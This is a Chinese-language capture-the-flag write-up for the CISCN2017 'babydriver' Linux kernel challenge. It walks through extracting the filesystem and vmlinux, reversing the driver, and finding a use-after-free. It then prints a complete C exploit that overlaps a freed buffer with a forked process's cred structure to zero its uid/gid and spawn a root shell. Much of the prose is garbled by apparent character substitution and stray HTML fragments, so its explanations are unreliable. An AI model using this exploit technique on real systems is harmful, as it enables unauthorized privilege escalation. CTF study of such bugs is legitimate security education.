是kernal pwn
给了三个文件
boot.sh: 一个用于启动 kernel 的 shell 的剧本,多用 qemu,庇护步伐取 qemu 不同的启动参数有闭
bzImage: 挨包的内乱核代码,普通经由过程它抽掏出vmlinx,寻觅gadget也是正在那里
rootfs.cpio: 文件体系映像,也便是内乱核采纳的文件体系
像用户态pwn一样,借没有是先查庇护。
能够看得出去,只开了smep。
那是个啥,我们先道一下内乱核态庇护皆有面啥
内乱核庇护从四个圆里动身,别离是断绝、会见掌握、非常检测、随机化。
断绝又分为用户代码不成施行,用户数据不成会见,另有一个KPTI。
而我们道的smep是属于用户代码不成施行。
那个是ctf-wiki的简介
开初,正在内乱核态施行代码时,能够间接施行用户态的代码。那假如进犯者掌握了内乱核中的施行流,就能够施行处于用户态的代码。因为用户态的代码是进犯者可控的,以是更简单施行进犯。为了防备这类进犯,研讨者提出当位于内乱核态时,不克不及施行用户态的代码。
然后我们要把他给的文件体系文件解压,找到init文件,看看挂载了一些甚么。
- mkdir core
- cp rootfs.cpio ./core
- cd core
- mv ./rootfs.cpio rootfs.cpio.gz
- #由于cpio是颠末gzip紧缩过的,必需变动名字,gunzip才熟悉
- gunzip ./rootfs.cpio.gz
- #gunzip解压一会cpio才能够熟悉,否则便会报畸形数字
- cpio -idmv < ./rootfs.cpio
- #cpio是解压指令 -idmv是它的四个参数
- #-i或--extract 施行copy-in形式,复原备份档。
- #-d或--make-directories 若有需求cpio会自止成立目次。
- #-v或--verbose 具体显现指令的施行历程。
- #-m或preserve-modification-time 没有来改换文件的变动工夫
复造代码 p检察init文件br / img src="https://img-blog.csdnimg.cn/7189c276536f453c9e0059754ced2163.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3lvbmdiYW9paQ==,size_16,color_FFFFFF,t_70" alt="正在那里插进图片描摹" / br / moun挂载Linux体系中的文件br / chown号令用于设置文件一切者战文件联系关系组的号令,chown 需求超等用户 root 的权限才华施行此号令。能够看到把flag扔到了root。br / chmod掌握用户对文件的权限的号令br / exec设置文件流br / insmod号令用于载进模块br / 最初poweroff封闭了电源/p p以是看半天实在为了阐明便减载了babydriver.ko那个模块,成绩便正在内里。/p p那末怎样把那个模块拿出去,我们另有一个文件出用,便是bzImage,他是内乱核代码的紧缩。/p p操纵linux内乱核源码中的script中的extract-vmlinux剧本能够抽掏出vmlinuxbr / vmlinux便是内乱核文件。/p- ./extract-vmlinux ./bzImage > vmlinux
复造代码 那个./extract-vmlinux大要有一些内乱核把它剥离了,以是只能本人写shell剧本。
- #!/bin/sh
- # SPDX-License-Identifier: GPL-2.0-only
- # ----------------------------------------------------------------------
- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image
- #
- # Inspired from extract-ikconfig
- # (c) 2009,2010 Dick Streefland <dick@streefland.net>
- #
- # (c) 2011 Corentin Chary <corentin.chary@gmail.com>
- #
- # ----------------------------------------------------------------------
- check_vmlinux()
- {
- # Use readelf to check if it's a valid ELF
- # TODO: find a better to way to check that it's really vmlinux
- # and not just an elf
- readelf -h $1 > /dev/null 2>&1 || return 1
- cat $1
- exit 0
- }
- try_decompress()
- {
- # The obscure use of the "tr" filter is to work around older versions of
- # "grep" that report the byte offset of the line instead of the pattern.
- # Try to find the header ($1) and decompress from here
- for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
- do
- pos=${pos%%:*}
- tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
- check_vmlinux $tmp
- done
- }
- # Check invocation:
- me=${0##*/}
- img=$1
- if [ $# -ne 1 -o ! -s "$img" ]
- then
- echo "Usage: $me <kernel-image>" >&2
- exit 2
- fi
- # Prepare temp files:
- tmp=$(mktemp /tmp/vmlinux-XXX)
- trap "rm -f $tmp" 0
- # That didn't work, so retry after decompression.
- try_decompress '\037\213\010' xy gunzip
- try_decompress '\3757zXZ\000' abcde unxz
- try_decompress 'BZh' xy bunzip2
- try_decompress '\135\0\0\0' xxx unlzma
- try_decompress '\211\114\132' xy 'lzop -d'
- try_decompress '\002!L\030' xxx 'lz4 -d'
- try_decompress '(\265/\375' xxx unzstd
- # Finally check for uncompressed images or objects:
- check_vmlinux $img
- # Bail out:
- echo "$me: Cannot find vmlinux." >&2
复造代码 将那个剧本写正在桌里,大要其他处所。
然后给个权限
- chmod +x ./extract-vmlinux
复造代码 然后就能够用上里谁人句子去提与vmlinux了。
前期事情筹办终了,然后我们便明白成绩正在谁人babydriver的模块中,我们把他推到IDA傍边。
函数量录正在那里。
open
kmem_cache_alloc_trace用于从缓冲区申请内乱存。
便是申请了0x40巨细的内乱存,然后地点,巨细存正在了规划体中。
read
比力device_buf_len战少度,施行copy_to_user,便像buffer中写工具,那个buffer较着是用户态传出去的。
write
write明显跟read是反的,copy from。
便是往内乱核写。
ioctl
输进65537,便会开释buf,然后再申请len巨细的内乱存。
release
便是开释,可是明显,我们熟习的,出有清算指针,有uaf。并且规划体是齐局变量。
也便是道假如我们同时翻开两个装备,第两次会笼盖第一次分派的空间,由于 babydev_struct 是齐局的。一样,假如开释第一个,那末第两个实际上是被是开释过的。
怎样操纵
起首我们要引见一个cred规划体。
- struct cred {
- atomic_t usage;
- #ifdef CONFIG_DEBUG_CREDENTIALS
- atomic_t subscribers; /* number of processes subscribed */
- void *put_addr;
- unsigned magic;
- #define CRED_MAGIC 0x43736564
- #define CRED_MAGIC_DEAD 0x44656144
- #endif
- kuid_t uid; /* real UID of the task */
- kgid_t gid; /* real GID of the task */
- kuid_t suid; /* saved UID of the task */
- kgid_t sgid; /* saved GID of the task */
- kuid_t euid; /* effective UID of the task */
- kgid_t egid; /* effective GID of the task */
- kuid_t fsuid; /* UID for VFS ops */
- kgid_t fsgid; /* GID for VFS ops */
- unsigned securebits; /* SUID-less security management */
- kernel_cap_t cap_inheritable; /* caps our children can inherit */
- kernel_cap_t cap_permitted; /* caps we're permitted */
- kernel_cap_t cap_effective; /* caps we can actually use */
- kernel_cap_t cap_bset; /* capability bounding set */
- kernel_cap_t cap_ambient; /* Ambient capability set */
- #ifdef CONFIG_KEYS
- unsigned char jit_keyring; /* default keyring to attach requested
- * keys to */
- struct key __rcu *session_keyring; /* keyring inherited over fork */
- struct key *process_keyring; /* keyring private to this process */
- struct key *thread_keyring; /* keyring private to this thread */
- struct key *request_key_auth; /* assumed request_key authority */
- #endif
- #ifdef CONFIG_SECURITY
- void *security; /* subjective LSM security */
- #endif
- struct user_struct *user; /* real user ID subscription */
- struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
- struct group_info *group_info; /* supplementary groups for euid/fsgid */
- struct rcu_head rcu; /* RCU deletion hook */
- };
复造代码 kernel 记载了历程的权限,更详细的,是用 cred 规划体记载的,每一个历程中皆有一个 cred 规划,那个规划保留了该历程的权限等疑息(uid,gid 等),假如能修正某个历程的 cred,那末也便修正了那个历程的权限。
那我们的思绪是啥
先open两次/dev/babydev,fd1,fd2
经由过程ioctl修正babydevice_t->device_buf_len为cred规划体巨细(0xa8)
封闭此中一个fd1,会将babydevice_t开释
fork,创立一个历程,因为开释的babydevice_t战cred巨细不异,将利用babydevice_t做为cred规划体
经由过程write(fd2,buf)去修正cred的uid,gid为0
exp
- CISCN2017_babydriver [master●●] cat exploit.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <stropts.h>
- #include <sys/wait.h>
- #include <sys/stat.h>
- int main()
- {
- // 翻开两次装备
- int fd1 = open("/dev/babydev", 2);
- int fd2 = open("/dev/babydev", 2);
- // 修正 babydev_struct.device_buf_len 为 sizeof(struct cred)
- ioctl(fd1, 0x10001, 0xa8);
- // 开释 fd1
- close(fd1);
- // 新起历程的 cred 空间会战方才开释的 babydev_struct 堆叠
- int pid = fork();
- if(pid < 0)
- {
- puts("[*] fork error!");
- exit(0);
- }
- else if(pid == 0)
- {
- // 经由过程变动 fd2,修正新历程的 cred 的 uid,gid 等值为0
- char zeros[30] = {0};
- write(fd2, zeros, 28);
- if(getuid() == 0)
- {
- puts("[+] root now.");
- system("/bin/sh");
- exit(0);
- }
- }
- else
- {
- wait(NULL);
- }
- close(fd2);
- return 0;
- }
复造代码 p最初我们到了getshell的部分,如何getshell。br / 起首我们把exp拾到core的tmp目次下。/pp然后从头把内乱核挨包起去。/p- cd core
- find . | cpio -o --format=newc > rootfs.cpio
复造代码 然后把挨包好的拿出去。
然后出去,启动
然后便ok了。
免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作! |